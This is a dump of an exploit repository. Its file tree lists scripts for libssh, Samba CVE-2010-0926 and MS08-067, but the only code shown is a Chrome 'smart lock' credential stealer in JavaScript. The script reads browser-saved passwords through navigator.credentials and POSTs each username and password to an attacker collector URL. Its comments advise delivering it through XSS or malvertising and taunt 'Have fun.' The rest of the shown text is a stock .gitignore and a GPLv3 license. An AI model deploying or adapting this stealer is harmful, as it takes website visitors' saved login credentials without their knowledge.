├── .gitignore ├── Chrome └── smart-lock-subdomain-credential-stealer.js ├── LICENSE ├── Other └── ssh │ └── libssh.py ├── README.md ├── Samba └── CVE-2010-0926.c └── Windows └── ms08-067.py /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | .DS_Store 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | bld/ 24 | [Bb]in/ 25 | [Oo]bj/ 26 | [Ll]og/ 27 | 28 | # Visual Studio 2015 cache/options directory 29 | .vs/ 30 | # Uncomment if you have tasks that create the project's static files in wwwroot 31 | #wwwroot/ 32 | 33 | # MSTest test Results 34 | [Tt]est[Rr]esult*/ 35 | [Bb]uild[Ll]og.* 36 | 37 | # NUNIT 38 | *.VisualState.xml 39 | TestResult.xml 40 | 41 | # Build Results of an ATL Project 42 | [Dd]ebugPS/ 43 | [Rr]eleasePS/ 44 | dlldata.c 45 | 46 | # .NET Core 47 | project.lock.json 48 | project.fragment.lock.json 49 | artifacts/ 50 | **/Properties/launchSettings.json 51 | 52 | *_i.c 53 | *_p.c 54 | *_i.h 55 | *.ilk 56 | *.meta 57 | *.obj 58 | *.pch 59 | *.pdb 60 | *.pgc 61 | *.pgd 62 | *.rsp 63 | *.sbr 64 | *.tlb 65 | *.tli 66 | *.tlh 67 | *.tmp 68 | *.tmp_proj 69 | *.log 70 | *.vspscc 71 | *.vssscc 72 | .builds 73 | *.pidb 74 | *.svclog 75 | *.scc 76 | 77 | # Chutzpah Test files 78 | _Chutzpah* 79 | 80 | # Visual C++ cache files 81 | ipch/ 82 | *.aps 83 | *.ncb 84 | *.opendb 85 | *.opensdf 86 | *.sdf 87 | *.cachefile 88 | *.VC.db 89 | *.VC.VC.opendb 90 | 91 | # Visual Studio profiler 92 | *.psess 93 | *.vsp 94 | *.vspx 95 | *.sap 96 | 97 | # TFS 2012 Local Workspace 98 | $tf/ 99 | 100 | # Guidance Automation Toolkit 101 | *.gpState 102 | 103 | # ReSharper is a .NET coding add-in 104 | _ReSharper*/ 105 | *.[Rr]e[Ss]harper 106 | *.DotSettings.user 107 | 108 | # JustCode is a .NET coding add-in 109 | .JustCode 110 | 111 | # TeamCity is a build add-in 112 | _TeamCity* 113 | 114 | # DotCover is a Code Coverage Tool 115 | *.dotCover 116 | 117 | # Visual Studio code coverage results 118 | *.coverage 119 | *.coveragexml 120 | 121 | # NCrunch 122 | _NCrunch_* 123 | .*crunch*.local.xml 124 | nCrunchTemp_* 125 | 126 | # MightyMoose 127 | *.mm.* 128 | AutoTest.Net/ 129 | 130 | # Web workbench (sass) 131 | .sass-cache/ 132 | 133 | # Installshield output folder 134 | [Ee]xpress/ 135 | 136 | # DocProject is a documentation generator add-in 137 | DocProject/buildhelp/ 138 | DocProject/Help/*.HxT 139 | DocProject/Help/*.HxC 140 | DocProject/Help/*.hhc 141 | DocProject/Help/*.hhk 142 | DocProject/Help/*.hhp 143 | DocProject/Help/Html2 144 | DocProject/Help/html 145 | 146 | # Click-Once directory 147 | publish/ 148 | 149 | # Publish Web Output 150 | *.[Pp]ublish.xml 151 | *.azurePubxml 152 | # TODO: Comment the next line if you want to checkin your web deploy settings 153 | # but database connection strings (with potential passwords) will be unencrypted 154 | *.pubxml 155 | *.publishproj 156 | 157 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 158 | # checkin your Azure Web App publish settings, but sensitive information contained 159 | # in these scripts will be unencrypted 160 | PublishScripts/ 161 | 162 | # NuGet Packages 163 | *.nupkg 164 | # The packages folder can be ignored because of Package Restore 165 | **/packages/* 166 | # except build/, which is used as an MSBuild target. 167 | !**/packages/build/ 168 | # Uncomment if necessary however generally it will be regenerated when needed 169 | #!**/packages/repositories.config 170 | # NuGet v3's project.json files produces more ignorable files 171 | *.nuget.props 172 | *.nuget.targets 173 | 174 | # Microsoft Azure Build Output 175 | csx/ 176 | *.build.csdef 177 | 178 | # Microsoft Azure Emulator 179 | ecf/ 180 | rcf/ 181 | 182 | # Windows Store app package directories and files 183 | AppPackages/ 184 | BundleArtifacts/ 185 | Package.StoreAssociation.xml 186 | _pkginfo.txt 187 | 188 | # Visual Studio cache files 189 | # files ending in .cache can be ignored 190 | *.[Cc]ache 191 | # but keep track of directories ending in .cache 192 | !*.[Cc]ache/ 193 | 194 | # Others 195 | ClientBin/ 196 | ~$* 197 | *~ 198 | *.dbmdl 199 | *.dbproj.schemaview 200 | *.jfm 201 | *.pfx 202 | *.publishsettings 203 | orleans.codegen.cs 204 | 205 | # Since there are multiple workflows, uncomment next line to ignore bower_components 206 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 207 | #bower_components/ 208 | 209 | # RIA/Silverlight projects 210 | Generated_Code/ 211 | 212 | # Backup & report files from converting an old project file 213 | # to a newer Visual Studio version. Backup files are not needed, 214 | # because we have git ;-) 215 | _UpgradeReport_Files/ 216 | Backup*/ 217 | UpgradeLog*.XML 218 | UpgradeLog*.htm 219 | 220 | # SQL Server files 221 | *.mdf 222 | *.ldf 223 | *.ndf 224 | 225 | # Business Intelligence projects 226 | *.rdl.data 227 | *.bim.layout 228 | *.bim_*.settings 229 | 230 | # Microsoft Fakes 231 | FakesAssemblies/ 232 | 233 | # GhostDoc plugin setting file 234 | *.GhostDoc.xml 235 | 236 | # Node.js Tools for Visual Studio 237 | .ntvs_analysis.dat 238 | node_modules/ 239 | 240 | # Typescript v1 declaration files 241 | typings/ 242 | 243 | # Visual Studio 6 build log 244 | *.plg 245 | 246 | # Visual Studio 6 workspace options file 247 | *.opt 248 | 249 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 250 | *.vbw 251 | 252 | # Visual Studio LightSwitch build output 253 | **/*.HTMLClient/GeneratedArtifacts 254 | **/*.DesktopClient/GeneratedArtifacts 255 | **/*.DesktopClient/ModelManifest.xml 256 | **/*.Server/GeneratedArtifacts 257 | **/*.Server/ModelManifest.xml 258 | _Pvt_Extensions 259 | 260 | # Paket dependency manager 261 | .paket/paket.exe 262 | paket-files/ 263 | 264 | # FAKE - F# Make 265 | .fake/ 266 | 267 | # JetBrains Rider 268 | .idea/ 269 | *.sln.iml 270 | 271 | # CodeRush 272 | .cr/ 273 | 274 | # Python Tools for Visual Studio (PTVS) 275 | __pycache__/ 276 | *.pyc 277 | 278 | # Cake - Uncomment if you are using it 279 | # tools/** 280 | # !tools/packages.config 281 | 282 | # Telerik's JustMock configuration file 283 | *.jmconfig 284 | 285 | # BizTalk build output 286 | *.btp.cs 287 | *.btm.cs 288 | *.odx.cs 289 | *.xsd.cs 290 | -------------------------------------------------------------------------------- /Chrome/smart-lock-subdomain-credential-stealer.js: -------------------------------------------------------------------------------- 1 | // Written by MarkBuffalo 2 | 3 | // Google doesn't want to fix this. Cool. Have fun. 4 | 5 | // Apply via XSS, malvertising, normal in-line Javascript, etc. 6 | // This can be used on any domain in which the Javascript runs, or across sub-domains. 7 | // Think *.amazonaws.com, *.wpengine.com, *.azurewebsites.net, etc. 8 | // Example: my1337hackerblog.wpengine.com can steal credentials from my1337securityblog.wpengine.com, and so forth. 9 | 10 | // If you have problems running this, pay attention. 11 | 12 | if (navigator.credentials) { 13 | navigator.credentials.get({ password: true, mediation: 'optional'}).then(x => { 14 | if (x) { 15 | var xhr = new XMLHttpRequest(); 16 | xhr.open("POST", "hxxps://www.evil-hacker-website.com/evil_credential_collector.php", true); 17 | xhr.send("username=${x.id}&password=${x.password}"); 18 | } 19 | else { } 20 | }) 21 | 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. 